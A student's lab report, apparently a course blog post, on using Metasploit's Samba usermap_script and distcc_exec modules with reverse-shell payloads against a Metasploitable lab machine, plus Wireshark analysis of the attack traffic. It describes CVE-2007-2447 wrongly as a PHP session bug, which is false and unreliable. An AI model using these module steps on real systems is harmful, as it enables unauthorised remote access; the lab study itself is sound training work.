20242801 2024-2025-2 《网络攻防实践》第7次作业

一、实验内容

  1. 学习使用metasploit框架,利用samba服务的usermap_script漏洞获取linux靶机的访问权限。
  2. 进行攻防实践,选用合适的漏洞对目标主机进行渗透攻击,获取远程控制权。同时,防守方利用wireshark等工具捕获攻击方流量,并进行分析。

二、实验过程

(一)使用metasploit对linux进行渗透攻击

1、确定攻击机和靶机

​ 首先,我们分别选用kail和metasploittable_ubuntu作为攻击机和靶机,并确定两者的ip地址。


​ 我们可以发现,kail的ip为192.168.5.12,靶机的ip地址为192.168.5.3。同时,我们测试两者的连通性。


​ 此时,我们确定了两者的ip地址,并且保证了两者可以相互访问。

2、利用metasploit进行攻击

​ 我们在kail中,输入msfconsole即可打开metasploit框架,等待其加载完成。

​ 加载完成后,我们使用use exploit/multi/samba/usermap_script命令,将CVE-2007-2447作为目标漏洞。

CVE-2007-2447 是一个影响某些版本的PHP的漏洞。指在 PHP 5.2.0 到 5.2.3 版本中,session_regenerate_id() 函数存在安全问题。当使用 session.use_strict_mode 设置为 On 的时候,如果会话 ID 不是通过 session_start() 正确初始化的,那么调用 session_regenerate_id() 可能会导致会话被意外地重置。

​ 接着,我们输入set payload payload/cmd/unix/reverse,设置 Payload为反向TCP连接。

​ 最后,我们使用set lhost 192.168.5.12和set rhost 192.168.5.3分别设置攻击机和靶机的ip。并使用show options查看是否配置完全。

​ 设置完成后,使用命令exploit即可获取靶机的shell。

(二)攻防对抗实践

1、攻击方

​ 在此,我们使用CVE-2005-1297漏洞。

CVE-2005-1297漏洞存在于 distcc3.1 及更早版本中。是distcc在处理传入的编译请求时没有正确验证命令行参数,导致攻击者可以通过构造恶意的编译请求来执行任意命令。

​ 具体来说,我们通过使用set exploit/unix/misc/distcc_exec在metasploit中调用对应漏洞利用模块。接着,设置相应的靶机ip(20241901 丁奕中 192.168.5.3)和攻击机ip(20242801 袁绍伟 192.168.5.12),最后,通过set payload cmd/unix/reverse设置反向代理并run。

​ 此时,我们已经获取了对方主机的shell,渗透成功。

2、防守方

我们通过在防守方运行wireshark,捕获了攻击时产生的流量。下面,我们进行流量分析。

该请求利用了 distcc服务中的命令注入漏洞,通过构造恶意的命令行参数来执行任意命令,请求中包含的 sh -c 命令会尝试连接到指定的 IP 和端口,从而允许攻击者远程控制目标系统。



此处,我们可以发现,攻击方已经成功获取了靶机的shell,并查询了靶机的ip信息和用户信息。

三、学习感悟

  1. 通过本次实验,我进一步学习了metasploit框架的使用,并学习了更多的漏洞信息。
  2. 在攻防实践中,我通过网上的教程寻找相关漏洞进行渗透,结果发现,许多漏洞在metasploitable_ubuntu上是无法运行的,通过之前学习的nmap命令,我发现靶机上有许多相关的端口服务实际上时没有打开的。最终,通过查找资料和反复尝试,选取了distcc存在的漏洞进行渗透测试。
  3. 本次学习的完整录屏视频已上传至百度网盘(时间较长文件较大),通过网盘分享的文件:第七次作业
    链接: https://pan.baidu.com/s/1fJI9Reij9iaJf0c6owKsow?pwd=1234 提取码: 1234
posted @ 2025-04-10 22:48  Shallwe741  阅读(32)  评论(0)    收藏  举报